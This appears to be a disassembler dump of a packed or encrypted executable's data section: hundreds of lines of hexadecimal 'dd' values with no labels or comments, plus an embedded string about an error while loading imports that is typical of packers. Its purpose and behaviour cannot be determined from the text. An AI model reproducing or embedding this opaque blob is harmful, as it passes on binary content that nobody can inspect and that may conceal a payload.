		dd 0E97E6152h, 5850C077h, 813EBE40h, 80DE382Bh,	0E7E6DB00h
		dd 0F659DB94h, 1EAA2DACh, 0A8956825h, 54E96893h, 356D30E3h
		dd 0BFB40487h, 0A11773D2h, 0BC3B6726h, 0F46FE13Dh, 0D89E841Bh
		dd 0E7500D5Fh, 0A05DA265h, 475ACD62h, 0B21F9A5Bh, 0EF68EE08h
		dd 0A73566DDh, 0F374E43Eh, 12A62197h, 290F7421h, 444F0572h
		dd 0C8AA9B8Bh, 244F0551h, 78DFBEF3h, 51C6A499h,	0F5264F05h
		dd 6CEADB18h, 894A54E9h, 0F2339233h, 54E95C70h,	78FF0BCCh
		dd 9F78EBC1h, 0EE6CC473h, 0FDB3386Dh, 21C3EA6h,	4BFEF56h
		dd 85360000h, 0DB9F8B0Ah, 68E1395Ch, 8234EEF1h,	0D99C8609h
		dd 0CFEE3F5Eh, 0F99C1BDAh, 9332AD21h, 4746C177h, 0FA9D1CDBh
		dd 41231C43h, 0A354EFDDh, 6FD88EC5h, 3DBA14C4h,	0C0352EBAh
		dd 6F7C88Fh, 6654E910h,	3F2027B5h, 8854E90Fh, 3C07CE32h
		dd 0AD33F8F6h, 0BCh, 0E5FC52E8h, 0D9484F04h, 0AB840BCAh
		dd 0DACC8AFFh, 3537081Dh, 0B74F05D9h, 5F6DEC6Dh, 5F7EB3E4h
		dd 5134BE6Ch, 4F088349h, 0D8AD87F8h, 0D50F4F05h, 0B3F67650h
		dd 81DB0C93h, 9A7DFC7Bh, 0F855CE80h, 0A22892E5h, 0F6A882E3h
		dd 23144F04h, 6CC47389h, 0A280FDE8h, 24F04F6h, 17CC9CD1h
		dd 5176322h, 9193EC36h,	134F0593h, 0DD09F620h, 0EFDAEDA6h
		dd 0F65CA83Bh, 3FC5A982h, 12C25C80h, 0B7CB18Ch,	3CBDE544h
		dd 0AD93D0BDh, 374F0539h, 0ED73F4C4h, 554F0579h, 30AF2E74h
		dd 79377B67h, 0E5440B81h, 0FA3B3906h, 76B94F04h, 0F9F2549Dh
		dd 81724F04h, 9912C4DEh, 0EE2AA93Ch, 7D000000h,	83356DCCh
		dd 4283B008h, 4F04E5E0h, 7B3E9B5Ch, 605D0082h, 54E90093h
		dd 92A800F3h, 0B8E2A522h, 688EA032h, 91AA56D0h,	0CBD70C5Ch
		dd 0BFCE8B0Eh, 9116C2D8h, 7845083Bh, 54E99AFAh,	1DDCB97Ah
		dd 9E7D20A2h, 122BACB4h, 2F7B4A00h, 185932ADh, 54E93C1Eh
		dd 0D017A596h, 54E93C4Dh, 0B57CA406h, 283075CEh, 1C09CBD7h
		dd 20874123h, 3F70A349h, 771B52h, 5E440000h, 62E30698h
		dd 153CBA65h, 0D8667720h, 4928EF6Dh, 0B4619851h, 4E5ED4Fh
		dd 3C8C4F4Fh, 6E31AE2Eh, 4D068134h, 16944F3Ah, 6AED6BB7h
		dd 987FDEA1h, 4E5C5A7h,	1BF4274Fh, 4E6A4DAh, 7D4F804Fh
		dd 0C8B4E54h, 25FC6243h, 0F05A4F05h, 8103FEB0h,	9314C4DEh
		dd 218067C6h, 5265EDCh,	0B01DDE4Fh, 5263D73h, 1FDD274Fh
		dd 0A2C91C85h, 51821945h, 0F097C87Bh, 50C07767h, 43F95543h
		dd 11AB9C52h, 73ED6AB0h, 381455Bh, 4E0B7CDBh, 0B1149744h
		dd 0C28D7C59h, 0B815BCB6h, 9F5C4625h, 0FF8B31Ch, 7F44261Fh
		dd 6FA04F05h, 0A56A5B3Ah, 0C154E995h, 0A385BA0Eh, 2E54E974h
		dd 54FC7BA7h, 0E05369E2h, 6D261DAFh, 9BE82161h,	0CC33F95Ch
		dd 20h,	0ED6FD80Bh, 860D52Ah, 1BDC54E9h, 7989E41h, 573354E9h
		dd 0EBA1E22Bh, 0CFCA33F8h, 0D000000h, 7349C077h, 0DFED64E9h
		dd 480F8E4Dh, 8E4BE552h, 5F7DD60Bh, 88F0ECDh, 41F871A9h
		dd 0EAA9AF94h, 2CAB4F04h, 3A0BEAADh, 4F04EA38h,	0C6BC80E4h
		dd 621C12C3h, 59C1E4B1h, 14411B92h, 976D95Bh, 54E98F7Ch
		dd 57017D8h, 3A0BCA48h,	5AD02486h, 346E31E2h, 0BCB70586h
		dd 0C5278352h, 0A16A68EDh, 33137FDEh, 5BD299B6h, 5BF8D201h
		dd 0F31FF878h, 0E1C0C742h, 745BD289h, 523F5EC0h, 0AD0A8548h
		dd 2220E5F9h, 0BA975EFAh, 31000001h, 9A8007BEh,	0EC3659DEh
		dd 3FEBEA6Dh, 878302BDh, 0E3345BD6h, 9910C5D4h,	2FA82CF6h
		dd 43C472A8h, 9611C65Ch, 241948F7h, 54EFE046h, 778BC0A6h
		dd 0DE444BC6h, 98FF9E19h, 0F97CD282h, 84F96A7Eh, 6FD882CBh
		dd 60D52AEDh, 754E908h,	0BBC7591Bh, 49C201D2h, 630FC83Dh
		dd 412718B0h, 8C54E900h, 483BF23Eh, 0B133F8E3h,	0C8h, 49C077E4h
		dd 7F64E973h, 0F330B723h, 4F04E671h, 0FDCF00F3h, 4EAC44Ah
		dd 0C21F7B4Fh, 0BD35783Dh, 32B9E5AEh, 490E14BBh, 16CFFACEh
		dd 13B3906h, 5FB94F05h,	0E32F609Fh, 0DDB8C622h,	4205763Bh
		dd 0B837A7E3h, 19663320h, 54E9266Ch, 358007C8h,	2A1BFA78h
		dd 5ACFC837h, 0DBBAA288h, 77A2D800h, 78DF109Ah,	9134B322h
		dd 6C4DC489h, 22209E3Ch, 0D6A809C3h, 5D000000h,	0A67C639Ah
		dd 812B532h, 5BC7C641h,	0A37F1E99h, 710B732h, 0F56CE1B8h
		dd 0B8448D2h, 5FD89E84h, 0F275E238h, 87554D3h, 54EFE12Ah
		dd 77A7FC8Ah, 0DE444BC6h, 415E8719h, 0D1B976E4h, 3B9AF99Ch
		dd 50668CAh, 40AC44Fh, 8DA06623h, 4C0DC63Bh, 7349C077h
		dd 24EB62E9h, 62D678FEh, 2B1CD7E5h, 22785F6Eh, 0AB9830B7h
		dd 0D0520BEEh, 0C574AE0Dh, 3BB43842h, 0D502115Eh, 0B56654EFh
		dd 9F4F8D2h, 0C27E856Ah, 32B94309h, 490E14BBh, 0A4130FCEh
		dd 29F5E925h, 0BF3A444Bh, 614186D2h, 0AF619924h, 8F4CADD5h
		dd 0DF61490Ch, 629D51D6h, 8AFA3128h, 1078FACBh,	3F45848h
		dd 6CEB3756h, 8B4DDFEDh, 1AE0B810h, 0C940F716h,	1C9F5CC6h
		dd 3E54Ch, 6300000h, 4DC47751h,	0EF6EED7Fh, 0E894FDDh
		dd 0B32CA0BAh, 0D7520319h, 7BF66785h, 9E19DB61h, 3EB930CAh
		dd 5FD890AAh, 8956B30Dh, 4C681E6h, 83000000h, 348704EEh
		dd 3C895C24h, 0E7895724h, 4C781h, 0EF830000h, 243C8704h
		dd 240C895Ch, 795468h, 24148900h, 0EAEF4268h, 240C8B05h
		dd 8304C483h, 248904ECh, 24048324h, 89535A04h, 85A89CBh
		dd 83241C8Bh, 148B04C4h, 0E3895324h, 4C381h
		dd 0C3810000h, 4, 5C241C87h, 57240C8Bh,	0C781E789h, 4
		dd 4C781h, 3C870000h, 1FE95C24h, 5FFFF981h, 4F4CFE4Ch
		dd 382F9850h, 0FC25B84Eh, 0C50305EAh, 38E4E0FFh, 0A8CD60BCh
		dd 0ED6D2677h, 37577142h, 0DE80087h, 69000000h,	508C00AAh
		dd 0E34AF79Fh, 97554CCCh, 6E9h,	0BB279600h, 59CBEFBBh
		dd 8FBF6656h, 0C1815EEFh, 61A8h, 0BFC02BF8h, 1D08049Ch
		dd 0F0834FFh, 89h, 0F605A00h, 287h, 66616000h, 0FCDCDE81h
		dd 7FF28161h, 0BF250856h, 4EC78165h, 5503EA81h,	0D38101CEh
		dd 35E91393h, 0FA98F281h, 14891403h, 85E78101h,	81140CBAh
		dd 0D882F8E8h, 0DB81662Dh, 0C081168Fh, 2DD882F4h, 2830Fh
		dd 0DE8A0000h, 9EECF881h, 850FFFFFh, 0FFFFFF9Ch, 1800Fh
		dd 8DF90000h, 0EAFE1D8Dh, 0CD8D2905h, 8905E400h, 0E410958Dh
		dd 55006A05h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1B04h
		dd 0C3554500h, 0EE3A1A7Ah, 4358F508h, 145DBD8Bh, 85C705E4h
		dd 5E42C65h, 5EE4h, 50E28166h, 0FD85C70Fh, 5E430h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 6BB4C355h, 0D88B66F7h, 21DB5FFh, 858B05E4h
		dd 5E42C91h, 2A6195FFh,	6A05E4h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 190424h, 50400000h, 0CDDE03C3h, 0FE9AB4Fh
		dd 285h, 6A5DB400h, 0C195FF00h,	8B05E410h, 0AF6BEBC0h
		dd 0C28FDF29h, 281C1BDCh, 830D440Fh, 0CECF0C57h, 0E4B3E738h
		dd 15088E67h, 0A6B020B2h, 0EE2F9E1Ah, 966507EBh, 0C8526FC3h
		dd 2F45D513h, 0EE79FFEFh, 0D4755FCDh, 7826FCABh, 0C0C2CB66h
		dd 98E336EEh, 64DB6648h, 0BA06E25Dh, 0FFCD0E30h, 0B94945B7h
		dd 0BB99E6D8h, 0E90CB925h, 75A810F0h, 0A4A5EA37h, 3BA9904Eh
		dd 982D6FE4h, 27E96462h, 50000001h, 0AC73765Bh,	154EEFh
		dd 41000000h, 7245206Eh, 20726F72h, 20736168h, 7275636Fh
		dd 20646572h, 6C696877h, 6F6C2065h, 6E696461h, 6D692067h
		dd 74726F70h, 0AC370073h, 5CEB77E7h, 3C4977E7h,	0E21F77E7h
		dd 0E30077F7h, 77F7h, 777E6h, 5	dup(0)
		dd 0A5FD0000h, 77E7h, 2Bh dup(0)
		dd 20000h, 0E1480000h, 1DF4C706h, 0A6CF6392h, 70838F96h
		dd 131137F1h, 6B35B11Ch, 6641D637h, 35722B61h, 77A9F29Eh
		dd 0EF883211h, 82662790h, 8DBFBF10h, 9914D4BDh,	0E5D069C6h
		dd 82663FA8h, 71563210h, 77A96145h, 0EF883211h,	82662790h
		dd 0BCBFBF10h, 9914D4B0h, 0EDD069C6h, 87F9B1D5h, 6627D8EBh
		dd 6601B61Ah, 0E3053215h, 63AEEC3Dh, 0E3AFE2EAh, 63FBEC4Dh
		dd 0E34EE2EAh, 63A0185Ch, 0DE705A43h, 0D3EEAEBDh, 636C14E0h
		dd 0B74B798h, 0B6DD37F2h, 6988B79Ch, 0E30537F1h, 63AECDA4h
		dd 0F4A7BF45h, 3614D8EBh, 543DA7EAh, 0E38337F1h, 63C6141Ch
		dd 66113215h, 4CC1B7D3h, 0E0137F1h, 0E8505B7Ch,	4EF487EAh
		dd 0E30537F1h, 63A00B81h, 0E3ABE2EAh, 63F52714h, 4CC1B7D3h
		dd 0E0737F1h, 0FA45594Bh, 4EF487EAh, 0E30537F1h, 63A00B81h
		dd 0E3ABE2EAh, 63FBCCDCh, 4CC1B7D3h, 0E1037F1h,	88405A3Ch
		dd 4EF487EAh, 0E30537F1h, 63A00B81h, 0E3ABE2EAh, 63FBCCD8h
		dd 4CC1B7D3h, 0E0137F1h, 0BC420AD7h, 4EF487EAh,	0E30537F1h
		dd 63A00B81h, 0E3ABE2EAh, 63FBCCC4h, 4F1D8F96h,	694437F1h
		dd 66227790h, 2F94F415h, 238DD63Fh, 463AB47Dh, 8397CDEFh
		dd 0EB14D63Dh, 82B1A690h, 0EF94CD10h, 8CDCE790h, 2F94F410h
		dd 2A8DD63Fh, 4094F17Dh, 8397CDF5h, 0EB14D63Dh,	82B1A690h
		dd 0EF94CD10h, 8CDCEB90h, 6651DB10h, 0E34E3215h, 63A0185Ch
		dd 822F5A47h, 0D3EE8E5Fh, 636C1F4Ch, 5FD0B798h,	0B6DD37F1h
		dd 98C4B79Ch, 0E34E37FFh, 63A0185Ch, 2C6A5A47h,	0D3EE9459h
		dd 636C1F4Ch, 5FD0B798h, 0B6DD37F1h, 98C8B79Ch,	0E34E37FFh
		dd 63A0185Ch, 0D2C85A47h, 0D3EECF57h, 636C1AF0h, 5FD0B798h
		dd 0B6DD37F1h, 7BDCB79Ch, 0E34E37F1h, 63A0185Ch, 0CE815A62h
		dd 0D3EEC182h, 636C116Ch, 5FD0B798h, 0B6DD37F1h, 6B80B79Ch
		dd 0E34E37F1h, 63A0185Ch, 57355A47h, 0D3EEB8C8h, 636C1AF0h
		dd 5FD0B798h, 0B6DD37F1h, 4600B79Ch, 0E34E37F1h, 63A0185Ch
		dd 0B1B5A43h, 0D3EEE60Ah, 636C14E0h, 0B74B798h,	0B6DD37F2h
		dd 69E8B79Ch, 0E34E37F1h, 63A0185Ch, 76585A52h,	0D3EEB3C9h
		dd 636C1AF0h, 5FD0B798h, 0B6DD37F1h, 6638B79Ch,	0E34E37F1h
		dd 63A0185Ch, 0D3C05A52h, 0D3EEB81Ah, 636C1AF0h, 5FD0B798h
		dd 0B6DD37F1h, 98E8B79Ch, 0DB0B37FFh, 63A016DCh, 37A63D15h
		dd 0A0113213h, 82A27B90h, 8F2C7E10h, 99FBE809h,	8239D7A0h
		dd 0F20DBF10h, 9941D62Ch, 83A7BBC5h, 0A014D8EBh, 82A27B90h
		dd 0A82C7E10h, 99FF46CBh, 8239D7A0h, 0F20DBF10h, 9941D62Ch
		dd 8FA7BBC5h, 0A014D8EBh, 82A27B90h, 592C7E10h,	9995B397h
		dd 8239D7A0h, 0F20DBF10h, 9941D62Ch, 8BA7BBC5h,	0A014D8EBh
		dd 82A27B90h, 7E2C7E10h, 99911D55h, 8239D7A0h, 0F20DBF10h
		dd 9941D62Ch, 8BA7BBC5h, 0A014D8EBh, 82A27B90h,	722C7410h
		dd 9998EC13h, 8239D7A0h, 0F20DBF10h, 9941D62Ch,	93A7BBC5h
		dd 0A014D8EBh, 82A27B90h, 1C2C7510h, 99A3EE05h,	8239D7A0h
		dd 0F20DBF10h, 9941D62Ch, 9BA7BBC5h, 0A014D8EBh, 82A27B90h
		dd 0CA2C7510h, 99CDB59Bh, 8239D7A0h, 0F20DBF10h, 9941D62Ch
		dd 67A7BBC5h, 0A014D8EAh, 82A27B90h, 0B42C7510h, 99F6A8B2h
		dd 8239D7A0h, 0F20DBF10h, 9941D62Ch, 63A7BBC5h,	0A014D8EAh
		dd 82A27B90h, 622C7510h, 9998F32Ch, 8239D7A0h, 0F20DBF10h
		dd 9941D62Ch, 6FA7BBC5h, 0E514D8EAh, 8294BFA8h,	46313210h
		dd 4C6BB7D3h, 0E5637F1h, 86FA1F72h, 4EA187EAh, 0E3AF37F1h
		dd 63F50B81h, 0E301E2EAh, 63AECD18h, 4C6BB7D3h,	0E5637F1h
		dd 0E8A181A4h, 4EA187EAh, 0E3AF37F1h, 63F50B81h, 0E301E2EAh
		dd 63AECD04h, 4C6BB7D3h, 0E5237F1h, 0A6FE78B2h,	4EA187EAh
		dd 0E3AF37F1h, 63F50B81h, 0E301E2EAh, 63AECD00h, 4C6BB7D3h
		dd 0E5D37F1h, 9DEE5EFEh, 453D87EAh, 0E3AF37F1h,	63F50B81h
		dd 0E301E2EAh, 63AECDBCh, 4C6BB7D3h, 0E5537F1h,	0DDFBBC40h
		dd 4EA187EAh, 0E3AF37F1h, 63F50B81h, 0E301E2EAh, 63AECD0Ch
		dd 4C6BB7D3h, 0E5237F1h, 0DA065CE9h, 4EA187EAh,	0E3AF37F1h
		dd 63F50B81h, 0E301E2EAh, 63AECD08h, 4C6BB7D3h,	0E4237F1h
		dd 0A0980CBFh, 4EA187EAh, 0E3AF37F1h, 63F50B81h, 0E301E2EAh
		dd 63AECD34h, 4B0B8F96h, 691137F1h, 6688D291h, 2FC1F415h
		dd 2027D63Fh, 0F0DF037Dh, 833DCDEFh, 0EB41D63Dh, 821BA690h
		dd 0EFC1CD10h, 8C774F90h, 2FC1F410h, 2027D63Fh,	0C12BE47Dh
		dd 833DCDE9h, 0EB41D63Dh, 821BA690h, 0EFC1CD10h, 8C77BF90h
		dd 2FC1F410h, 2027D63Fh, 9AB5327Dh, 833DCD87h, 0EB41D63Dh
		dd 821BA690h, 0EFC1CD10h, 8C77A390h, 2FC1F410h,	2027D63Fh
		dd 0B25E587Dh, 833DCDE3h, 0EB41D63Dh, 821BA690h, 0EFC1CD10h
		dd 8C77A790h, 2FC1F410h, 2027D63Fh, 0AB41D57Dh,	833DCD81h
		dd 0EB41D63Dh, 821BA690h, 0EFC1CD10h, 8C77B390h, 2FC1F410h
		dd 2027D63Fh, 4465097Dh, 833DCDA4h, 0EB41D63Dh,	821BA690h
		dd 0EFC1CD10h, 8C77B790h, 2FC1F410h, 2027D63Fh,	1FFBDF7Dh
		dd 833DCDCAh, 0EB41D63Dh, 821BA690h, 0EFC1CD10h, 8C77BB90h
		dd 0EBF9B110h, 6627D609h, 0E3D71260h, 636C185Ch, 861A5A46h
		dd 0D3DDFCABh, 63F51AF0h, 5F1CB798h, 0B6BB37F1h, 9907B79Ch
		dd 0E3D737FFh, 636C185Ch, 38C35A52h, 0D3DDF5A4h, 63F51AF0h
		dd 5F1CB798h, 0B6BB37F1h, 990BB79Ch, 0DB9237FFh, 636C2E98h
		dd 0A0644715h, 82087B90h, 63797510h, 996E506Bh,	826CD7A0h
		dd 0F2A7BF10h, 9914D62Ch, 4B0DBBC5h, 0A041D8EAh, 82087B90h
		dd 90797110h, 991A481Ch, 826CD7A0h, 0F2A7BF10h,	9914D62Ch
		dd 570DBBC5h, 0A041D8EAh, 82087B90h, 46797110h,	99741382h
		dd 826CD7A0h, 0F2A7BF10h, 9914D62Ch, 530DBBC5h,	0E541D8EAh
		dd 823EBFA8h, 26643210h, 4CC1B7D3h, 0E0737F1h, 0ED229A16h
		dd 4EF487EAh, 0E30537F1h, 63A00B81h, 0E3ABE2EAh, 63FBCD28h
		dd 4CC1B7D3h, 0E0737F1h, 837904C0h, 4EF487EAh, 0E30537F1h
		dd 63A00B81h, 0E3ABE2EAh, 63FBCD2Ch, 4CC1B7D3h,	0E0737F1h
		dd 8C8800F4h, 4EF487EAh, 0E30537F1h, 63A00B81h,	0E3ABE2EAh
		dd 63FBCD54h, 4CC1B7D3h, 0E0737F1h, 0E2D39E22h,	4EF487EAh
		dd 0E30537F1h, 63A00B81h, 0E3ABE2EAh, 63FBCD50h, 4CC1B7D3h
		dd 0E0B37F1h, 0F117A2C1h, 4EF487EAh, 0E30537F1h, 63A00B81h
		dd 0E3ABE2EAh, 63FBCD5Ch, 4CC1B7D3h, 0E0B37F1h,	9F4C3C17h
		dd 4EF487EAh, 0E30537F1h, 63A00B81h, 0E3ABE2EAh, 63FBCD58h
		dd 4CC1B7D3h, 0E0937F1h, 0AE154B5Ch, 4EF487EAh,	0E30537F1h
		dd 63A00B81h, 0E3ABE2EAh, 63FBCD40h, 4CC1B7D3h,	0E0937F1h
		dd 0BAD57F9Ch, 4EF487EAh, 0E30537F1h, 63A00B81h, 0E3ABE2EAh
		dd 63FBCD44h, 4CC1B7D3h, 0E1137F1h, 0FA391F22h,	4EF487EAh
		dd 0E30537F1h, 63A00B81h, 0E3ABE2EAh, 63FBCD4Ch, 4CC1B7D3h
		dd 0E0737F1h, 0B4F7C23Fh, 4EF487EAh, 0E30537F1h, 63A00B81h
		dd 0E3ABE2EAh, 63FBCD48h, 4CC1B7D3h, 0E1637F1h,	9B6086FFh
		dd 4EF487EAh, 0E30537F1h, 63A00B81h, 0E3ABE2EAh, 63F52FD8h
		dd 4CC1B7D3h, 0E0337F1h, 84BA6B8Ch, 4EF487EAh, 0E30537F1h
		dd 63A00B81h, 0E3ABE2EAh, 63FBCD74h, 4CC1B7D3h,	0E0337F1h
		dd 0D7DF52D7h, 4EF487EAh, 0E30537F1h, 63A00B81h, 0E3ABE2EAh
		dd 63FBCD70h, 4CC1B7D3h, 0E0337F1h, 0B984CC01h,	4EF487EAh
		dd 0E30537F1h, 63A00B81h
		dd 0E3ABE2EAh, 63FBCD7Ch, 4CC1B7D3h, 0E1B37F1h,	0F872C07Dh
		dd 4EF487EAh, 0E30537F1h, 63A00B81h, 0E3ABE2EAh, 63FBCD78h
		dd 4CC1B7D3h, 0E0B37F1h, 0A1DE492Ah, 4EF487EAh,	0E30537F1h
		dd 63A00B81h, 0E3ABE2EAh, 63FBCD8Ch, 4CC1B7D3h,	0E0337F1h
		dd 9C795C59h, 4EF487EAh, 0E30537F1h, 63A00B81h,	0E3ABE2EAh
		dd 63FBCD88h, 4CC1B7D3h, 0E0337F1h, 0A52416D8h,	4EF487EAh
		dd 0E30537F1h, 63A00B81h, 0E3ABE2EAh, 63FBCDB4h, 4CC1B7D3h
		dd 0E1B37F1h, 0B29952D9h, 4EF487EAh, 0E30537F1h, 63A00B81h
		dd 0E3ABE2EAh, 63FBCD64h, 4CC1B7D3h, 0E1B37F1h,	0F8CB665Bh
		dd 4EF487EAh, 0E30537F1h, 63A00B81h, 0E3ABE2EAh, 63FBCD60h
		dd 4CC1B7D3h, 0E1B37F1h, 0B7311A5Dh, 4EF487EAh,	0E30537F1h
		dd 63A00B81h, 0E3ABE2EAh, 63FBCD6Ch, 66E0367Fh,	0E443205h
		dd 66222215h, 0F3EE327Fh, 636C3D8Ch, 4BCDB79Ch,	0E3AF37F1h
		dd 63FBE5DEh, 62E2E2EAh, 6654327Dh, 46225A15h, 667B3215h
		dd 6911A7EAh, 0E3CD37F1h, 63C61998h, 62E0B79Ch,	26E237F1h
		dd 6654327Dh, 66225A15h, 667B3214h, 6911A7EAh, 0E3CD37F1h
		dd 63C618F8h, 75A8879Eh, 0FB0337F1h, 63A028B0h,	7273879Ch
		dd 0FB9837F1h, 636C205Ch, 7CE1AF9Eh, 6DA937F1h,	6911CB96h
		dd 6682ED91h, 6156215h,	0E3ABF226h, 63F52848h, 66880EABh
		dd 42303115h, 658F5435h, 0ED311651h, 128B4A65h,	18CF1231h
		dd 2F9FBB0Dh, 0E314D635h, 6C0D3DEAh, 8E443215h,	6622231Bh
		dd 6611A3FCh, 0B1036315h, 0EF40E07Eh, 823CEF80h, 0E155810h
		dd 66882215h, 99445847h, 822DAB80h, 0DF94BB10h,	0ED8DD617h
		dd 0B9AC6BC5h, 30223205h, 425531B8h, 0B903A531h, 0C8840042h
		dd 99DBB71Ah, 4D4FCDEAh, 0B10360EEh, 4BCD8F9Eh,	0AFA137F1h
		dd 0ECD101EAh, 20490013h, 0A7C3369Eh, 0AE113AFCh, 8C943D5Fh
		dd 0ED77CDEAh, 3C94C5D4h, 0A4A1309Ch, 0E3EE6011h, 636C2848h
		dd 7C19A79Eh, 0F31B37F1h, 63F5125Ch, 6682B61Ah,	381E3215h
		dd 8F26F496h, 99EECD8Eh, 3FE96C4Fh, 77C1F54Dh, 6627D602h
		dd 0A1113215h, 82A64390h, 66443210h, 879FB115h,	6614D8EBh
		dd 6680B61Ah, 0FBC93215h, 63C86F1Bh, 0E3EEE1EAh, 636C2128h
		dd 75798F96h, 694637F1h, 66115097h, 5B0DF515h, 6741D606h
		dd 6223215h, 99A88798h,	0DB0537FFh, 63AF2E31h, 0B1A9CC3Eh
		dd 4B988F9Eh, 0AF0B37F1h, 0EC8401EAh, 20E30013h, 0A796369Eh
		dd 0AEBB3AFCh, 8CC13D5Fh, 0EDDDCDEAh, 5FC1C5D4h, 8295EB90h
		dd 71C03D10h, 0E5223215h, 823357A8h, 0E3873210h, 6644321Fh
		dd 402BB7D2h, 661037F1h, 0DFE93215h, 4285A730h,	8A0199AFh
		dd 0D3989F64h, 636C2644h, 66B874D2h, 5B223215h,	88FFDCFBh
		dd 66A8B71Ah, 58C53215h, 0BBFFEFC8h, 6605B71Ah,	604F3215h
		dd 66443215h, 0EF26F496h, 820563A0h, 6E71DB10h,	0BECF3215h
		dd 402BB726h, 0AED037F1h, 0A74A1916h, 0A77722D5h, 402BAF9Ch
		dd 662C37F1h, 69883315h, 66447796h, 0DD1CB315h,	69AA89AEh
		dd 66880B90h, 6642F515h, 0E5223215h, 0D39836D3h, 636C2644h
		dd 7CE1AF9Eh, 6DA937F1h, 0ED71E29Eh, 7B0D19D7h,	0A741D634h
		dd 0E32130F5h, 63F51474h, 0A78B9F83h, 7A60769Ch, 665EDB74h
		dd 34403215h, 0F303FB26h, 63A030ACh, 0E22D302Eh, 6611322Dh
		dd 278CF096h, 460DBF2Eh, 0E32D37F1h, 99EECDFDh,	98168798h
		dd 0DBC937FFh, 63C63714h, 69D1B6B9h, 66883491h,	97AD9815h
		dd 0DEDDCDEAh, 66113215h, 2AB8BF98h, 87BB37F1h,	7C7FBF9Ch
		dd 3F4B37F1h, 0C315B943h, 0ED41D60Fh, 3BA7B91Eh, 0B714D60Fh
		dd 0C30D31F5h, 5541D611h, 0CB44A4E3h, 6513D2D4h, 82AE5390h
		dd 65E9A410h, 0DBA16CD4h, 63F51278h, 5F0C3D14h,	5D443215h
		dd 820AD798h, 4B953D10h, 5D883215h, 82674B98h, 47A63D10h
		dd 5D113215h, 82878B98h, 73C03D10h, 0EB223215h,	8D02CE88h
		dd 0ED5BCD10h, 0D3C1BBEDh, 8F27D633h, 661134A1h, 7574AF98h
		dd 0B5BB37FEh, 464F8F96h, 691137F1h, 66882F91h,	0D3C10915h
		dd 6927D615h, 66113E91h, 1B0D0915h, 6941D630h, 66223790h
		dd 99A8DB15h, 0E3B3CDEAh, 63A02714h, 663AB71Ah,	0DB923215h
		dd 636C1B80h, 6DC13D15h, 0EB223215h, 8CD3BF90h,	991DDB10h
		dd 0E37FCDEAh, 63C62714h, 9998B61Ah, 0DB0BCDEAh, 63AECC8Fh
		dd 71A73D14h, 5D113215h, 8C76CB90h, 6DC13D10h, 0EB223215h
		dd 3EF79290h, 99E5DB15h, 9977CDEAh, 42EB8F96h, 691137F1h
		dd 668B5591h, 83C10915h, 1327D8EBh, 7F94B912h, 218DD601h
		dd 98A9B72Eh, 615737FFh, 79C4B79Eh, 5DCF37F1h, 8CBADB90h
		dd 0ED254710h, 820DC790h, 0E3B37510h, 63AECCE4h, 0E3A93560h
		dd 63F5261Ch, 930D0952h, 1341D8EBh, 23A7B912h, 2114D604h
		dd 9871B72Eh, 613137FFh, 6FBFB79Eh, 5D5637F1h, 8C76CF90h
		dd 0ED434710h, 82047F90h, 0E32A7510h, 6362CD14h, 0E3CF3560h
		dd 63C61468h, 63940952h, 138DD8EAh, 0B7C1B912h,	2127D619h
		dd 9918B72Eh, 61FD37FFh, 7DB1B79Eh, 5D6537F1h, 8CEE2390h
		dd 0ED8F4710h, 82581390h, 0E3197510h, 63FBCD18h, 0DB0B2260h
		dd 63A02E98h, 0ED254715h, 8205F790h, 0DB0B7510h, 63A03EB8h
		dd 5D2D4615h, 8CEEAB90h, 0ED8F4710h, 825E7B90h,	0DBA17510h
		dd 63F51F3Ch, 0E5FA4615h, 82488BA8h, 0F563210h,	996CB72Eh
		dd 61FD37FFh, 6705B79Eh, 5D6537F1h, 8CEEBF90h, 0ED8F4710h
		dd 826F9F90h, 0E3197510h, 63FBCD94h, 0E3033560h, 63A03F30h
		dd 0F7A70952h, 1314D8EAh, 370DB912h, 2141D63Fh,	99B7B72Eh
		dd 616437FFh, 57C5B79Eh, 5D0337F1h, 8CDDB790h, 0ED164710h
		dd 82AADB90h, 0E37F7510h, 63C8CD9Ch, 0E39A3560h, 636C2C04h
		dd 0DFF9B152h, 6627D619h, 641BB61Ah, 0E3B33215h, 63AECD00h
		dd 0E3A93560h, 63F53A20h, 0CF0D0952h, 1341D8EAh, 87A7B912h
		dd 2114D615h, 9991B72Eh, 613137FFh, 45DBB79Eh, 5D5637F1h
		dd 8C772F90h, 0ED434710h, 82206790h, 0E32A7510h, 6362CD34h
		dd 0E3CF3560h, 63C610A4h, 43940952h, 138DD8EAh,	0EBF9B105h
		dd 6627D609h, 0E39A3560h, 636C2F28h, 4FC10952h,	1327D8EAh
		dd 0EB94B912h, 218DD61Ch, 9969B72Eh, 765737FFh,	7A9C8F96h
		dd 138837F1h, 37C1B912h, 2127D612h, 9920B72Eh, 61FD37FFh
		dd 4069B79Eh, 5D6537F1h, 8CEE0790h, 0ED8F4710h,	82645790h
		dd 0E3197510h, 63FBCD28h, 0DB0B2260h, 63A02E98h, 0ED254715h
		dd 82057790h, 0E3B37510h, 63AECD2Ch, 0DBA12260h, 63F52E98h
		dd 0ED8F4715h, 82505390h, 0E3197510h, 63FBCD54h, 0E3033560h
		dd 63A03684h, 23A70952h, 1314D8EAh, 70DB912h, 2141D605h
		dd 996BB72Eh, 616437FFh, 4B11B79Eh, 5D0337F1h, 8CDD7F90h
		dd 0ED164710h, 829A2F90h, 0E37F7510h, 63C8CD44h, 0E39A3560h
		dd 636C136Ch, 33C10952h, 1327D8EAh, 0B94B912h, 218DD638h
		dd 991DB72Eh, 615737FFh, 4084B79Eh, 5DCF37F1h, 8CBB6F90h
		dd 0ED254710h, 821C7B90h, 0E3B37510h, 63A02FD8h, 0E3A93560h
		dd 63F53FA4h, 70D0952h,	1341D8EAh, 0E3A7B912h, 2114D63Eh
		dd 9915B72Eh, 7F3137FFh, 99878F96h, 131137FFh, 0B35B11Ch
		dd 6641D635h, 0E3A93561h, 63F52A24h, 0C70D0952h, 1341D8EAh
		dd 0C39FB10Ch, 6614D8EAh, 0DB0B3B60h, 63A01278h, 0ED254615h
		dd 82067B90h, 0E3B37510h, 63AECD70h, 0E3A93560h, 63F529C0h
		dd 0F0D0952h, 1341D8EAh
		dd 7A7B912h, 2114D602h,	99E5B72Eh, 613137FFh, 433BB79Eh
		dd 5D5637F1h, 8C774390h, 0ED434710h, 822A8F90h,	0E32A7510h
